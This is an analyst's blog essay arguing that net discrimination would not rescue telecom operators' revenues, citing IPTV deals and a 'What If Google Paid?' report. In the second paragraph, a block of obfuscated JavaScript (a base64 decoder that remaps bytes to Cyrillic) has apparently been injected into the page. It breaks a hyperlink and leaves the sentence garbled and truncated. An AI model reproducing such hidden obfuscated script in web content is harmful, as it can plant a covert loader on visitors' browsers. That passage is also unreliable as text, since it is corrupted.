The Slow Suicide of Net Discrimination

The whole net neutrality debate is heating up again, both in Europe and the US. As usual, the positions are quite clear: application and content providers generally support a truly neutral internet ecosystem, network operators support an ecosystem where discrimination of traffic is allowed. I have posted and written about this in the past, the purpose of this post is not to rehash the arguments, especially when others like Chris Marsden frame the debate so much better than I ever could.

No, the reason for this post is different altogether. It is commonly accepted that it is in the interest of network operators to be at the heart of a discriminated ecosystem. Essentially, the two core arguments put forward by these players is that discrimination will allow them to:

  • manage traffic flows to preclude heavy users (the so-called "bandwidth hogs") from disrupting the internet experience for everyone else,
  • establish commercial relationships with application and content providers to - in effect - extract a toll from the traffic passing their networks.

About a year ago, Herman Wagter and I published a post that got a lot of attention function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandwidth-hog-.html" target="_self">on the subject of bandwidth hogs. We have yet to put our money where our mouth is in that respect, and I am working on analysing a dataset that, while it probably won't be the definitive statement on the subject will hopefully suggest that our initial intuition (that the bandwidth hog "problem" is largely blown out of proportion) was correct. 

What I want to discuss here is the second aspect, this idea that in a regime of net discrimination, network operators will be able to extract revenues from content and application providers and therefore finance their network deployments and avoid the looming scissor effect of increasing bandwidth usage and costs against flat revenues.

I think this is a delusion, and a dangerous one at that.

Ever since network operators started branching out from communications into adjacent businesses, there have been content deals between them and content providers. By and large, these deals haven't been very beneficial to the telcos, at least not on the revenue side. IPTV helped drive broadband penetration, but it's not a profitable business line and most of the operators I talk to on that subject suggest that if they could get rid of that business they would. It's essentially down to two things: the fact that content owners have multiple routes to market and always play one against the other to get the best deals, and the fact that content rights are so fragmented that no scale can be built efficiently in distribution of content.

There's nothing that suggests that in an authorized tug o' war between network operators and the new generation of content and application providers, things wouldn't go exactly the same way. In fact there's every reason to believe otherwise. Broadband, as I have often argued, is not a service per se, it's just something that enables the customer to access services. In other words, I don't buy my broadband because of the Orange, AT&T or Singtel brands, I buy it because I want Facebook, Youtube and the thousands of other cool services available online.

Think about this: if Google was to refuse a toll to access the AT&T network and discontinued its services over the AT&T network as a consequence, who would suffer the most ? I think it would be AT&T, and I think it would have very quick effects on their customer churn. I don't think it will ever get to that, but it does suggest that the only content and application providers that the network operators could badger into paying would be small guys who probably can't afford to pay anyway. 

And that's not even the worse of it. A few months ago, I released a report called What If Google Paid? which was essentially inspired by this post I wrote last year. All the report did was actually compute that figure that I mention as a back of the napkin calculation in the text. One of the most astounding consequences (for me) was the number of C-Level execs at telcos who, in the weeks following this publication told me that it had been an eye-opener.

I see it as my role as an analyst to tell the emperors I interact with they are naked (if they are), but in this instance I found it stunning that despite defending a net-discrimnation position whole-heartedly my clients seemed never to have looked at the economics. This in turn tells me that inside these organisations this stance works as an ideology and that no factual information can displace this belief that a net-discriminated internet would allow them to solve their perceived revenue issues.

That is the most dangerous fight. When you fight for something you truly believe will save you when in fact it cannot, you divert resources from addressing the real issues. This is a typical case of focusing the attention on a perceived external threat because addressing the internal (and structural problems) is more complicated and seems like less of a silver bullet. 

It's also suicidal. Net-discrimination is a typical case of a lose/lose scenario: network operators have nothing to gain, content and application providers have nothing to gain, and customers have everything to lose. Defending net neutrality is important for a lot of reasons, I just wish that those opposing it knew how little net-discrimination will serve them.